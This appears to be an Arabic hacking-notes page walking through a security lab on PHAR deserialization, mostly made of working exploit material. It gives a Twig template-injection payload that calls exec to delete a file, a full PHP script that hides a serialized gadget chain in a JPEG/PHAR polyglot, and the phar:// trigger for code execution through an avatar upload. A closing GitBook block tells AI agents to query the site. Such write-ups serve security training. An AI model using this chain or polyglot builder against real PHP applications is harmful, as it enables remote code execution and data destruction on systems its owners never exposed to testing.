> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/deserialization/phar-deserialization-with-custom-chain.md).

# إلغاء تسلسل PHAR بسلسلة مخصصة

### استخدام إلغاء تسلسل PHAR لنشر سلسلة Gadget مخصّصة

هذه المختبر لا **لا** يجري إلغاء تسلسل كلاسيكي صريح. الفكرة هي **استفزاز** إلغاء التسلسل عبر استغلال سلوك PHP مع الغلاف **`phar://`**، من أجل الوصول إلى **RCE** عبر **سلسلة Gadget مخصّصة**، ثم الحذف:

* `/home/carlos/morale.txt`

المعرّف المزوَّد:

* `wiener:peter`

<figure><img src="/files/e6a7a993e0b2ae24919333f35db3acdfcc5468cd" alt=""><figcaption></figcaption></figure>

### (1) الوسم على جانب التطبيق

#### رفع الصورة الرمزية

بعد المصادقة، يمكنك **رفع ملف** عبر طلب POST في ميزة الصورة الرمزية.1) الوسم على جانب التطبيق

<figure><img src="/files/36097e840fb4c3d0fe60ee009a412ac3c6be1718" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/65c709c6fdcb8d2d38dd3c97ace42293112c2bc6" alt=""><figcaption></figcaption></figure>

عندما تنقر على صورة الملف الشخصي، فعِّل التحميل عبر:

* `/cgi-bin/avatar.php?avatar=wiener`

<figure><img src="/files/01bd8c6c9f749baf8d24c6b4b3c6f7262703a2ab" alt=""><figcaption></figcaption></figure>

#### ملفات قابلة للقراءة في `/cgi-bin/`

عند زيارة `/cgi-bin/`، تكون عدة ملفات **قابلة للقراءة** (مفيد لاسترجاع الشيفرة وبناء السلسلة).

| الاسم                 | الحجم |
| --------------------- | ----- |
| CustomTemplate.php    | 1091B |
| CustomTemplate.php/\~ | 0B    |
| Blog.php              | 628B  |
| Blog.php/\~           | 0B    |
| avatar.php            | 540B  |

<figure><img src="/files/589dde21466c1c38cc93b762c47812db252dde51" alt=""><figcaption></figcaption></figure>

#### 2) الشيفرة المصدرية المسترجعة

#### `blog.php`

هناك `Blog` الصنف الذي يهيّئ Twig في `__wakeup()`:

* `__sleep()` يُسلسَل `المستخدم` و `الوصف`
* `__wakeup()` يبني `Twig_Environment` بقالب مبني على `الوصف`
* `__toString()` يعرض `index` ويحقن `المستخدم`

نقطة مهمة: `الوصف` يصبح مباشرةً **قالب Twig**، لذا يمكن استخدامه لاستهداف **SSTI**.

```php
<?php

require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');

class Blog {
    public $user;
    public $desc;
    private $twig;

    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }

    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }

    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }

    public function __sleep() {
        return ["user", "desc"];
    }
}

?>
```

#### `CustomTemplate.php`

الـ `CustomTemplate` يحتوي الصنف على:

* حقل `$template_file_path` خاص
* ملف `__destruct()` مُدمِّر يقوم بـ:
* `@unlink($this->lockFilePath());`

`lockFilePath()` يبني:

* `'templates/' . $this->template_file_path . '.lock'`

لذا إذا تحكمنا في `template_file_path` بكائن يتحول إلى سلسلة، فيمكننا التأثير على المسار المستخدم بواسطة `unlink()`.

```php
<?php

class CustomTemplate {
    private $template_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }

    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("Could not write to " . $this->lockFilePath());
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // كارلوس اعتقد أن هذه ستكون فكرة جيدة
        @unlink($this->lockFilePath());
    }

    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}

?>
```

#### 3) حمولة Twig المفيدة (SSTI → تنفيذ)

الحمولة Twig المستخدمة:

الهدف: تنفيذ `rm /home/carlos/morale.txt`.

```php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
```

### 4) الاستراتيجية التشغيلية: PHAR متعدد الأشكال

التحدي: الرفع ينتظر **الصورة**. / الحل: أنشئ **متعدد الأشكال** الملف:

* صالح كـ **JPEG**
* ولكنه يحتوي على **PHAR** (صيغة tar/phar) مع **بيانات وصفية** مُسلسل

لماذا يعمل ذلك؟

* عندما يفتح PHP مورداً عبر `phar://...`، يمكنه أن يفعّل قراءة بيان PHAR و **بعض البيانات الوصفية** (لذا شغّل `__wakeup`, `__destruct`، إلخ. اعتمادًا على السلسلة).

```php
<?php


function generate_base_phar($o, $prefix){
    global $tempname;
    @unlink($tempname);
    $phar = new Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();

    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // remove <?php dosent work with prefix
    $len = strlen($phar) + 2; // fixed
    $new = substr($jpeg, 0, 2) . "/xff/xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // احسب checksum tar
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // تضمين checksum
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}


// صنف الاستغلال pop
class Blog {}
class CustomTemplate {}
$blog = new Blog();
$blog->user = "pwned";
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$object = new CustomTemplate();
$object->template_file_path = $blog;




// إعدادات jpg
$tempname = 'temp.tar.phar'; // اجعله tar
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $object;
$prefix = '';

var_dump(serialize($object));


// إنشاء jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));

/*
// إعدادات gif
$prefix = "/x47/x49/x46/x38/x39/x61" . "/x2c/x01/x2c/x01"; // ترويسة gif، الحجم 300 × 300
$tempname = 'temp.phar'; // اجعله phar
$outfile = 'out.gif';

// إنشاء gif
file_put_contents($outfile, generate_base_phar($payload, $prefix));

*/

```

### 5) سلسلة Gadget المبنية

أنت تُنشئ:

* ملف `Blog` كائنًا يحتوي على:
* `user = "pwned"`
* `desc = <حمولة Twig SSTI>`
* ثم تضع هذا الكائن في `CustomTemplate->template_file_path`

بهذه الطريقة، عندما `CustomTemplate` يُدمَّر، `lockFilePath()` سيُجمِّع قيمة من كائن، مما يفرض تحويلها إلى سلسلة → يستدعي `Blog::__toString()` → يفعّل `twig->render()` → يفسّر `الوصف` → ينفّذ الأمر.

```bash
php -c php.ini phar_jpg_polyglot.php
```

<figure><img src="/files/a8636ce41a7ad615a6c552b03e1e724eb477219d" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```json
string(216) "O:14:\"CustomTemplate\":1:{s:18:\"template_file_path\";O:4:\"Blog\":2:{s:4:\"user\";s:5:\"pwned\";s:4:\"desc\";s:106:\"{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"rm /home/carlos/morale.txt\")}}\";}}"
```

{% endcode %}

* ارفع `out.jpg` كالصورة الرمزية

<figure><img src="/files/e9d0f2520c5cbdd4c7ea63eadca871090f02ed86" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/196e26c3803b65223362459a0785080e75c5d5ea" alt=""><figcaption></figcaption></figure>

استدعاء المورد عبر `phar://`:

* `cgi-bin/avatar.php?avatar=phar://wiener`

في ذلك الوقت، يفتح التطبيق المورد باستخدام غلاف PHAR، ويتم إلغاء تسلسل البيانات الوصفية، وتُفعَّل السلسلة، ثم الملف:

* `/home/carlos/morale.txt`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/deserialization/phar-deserialization-with-custom-chain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
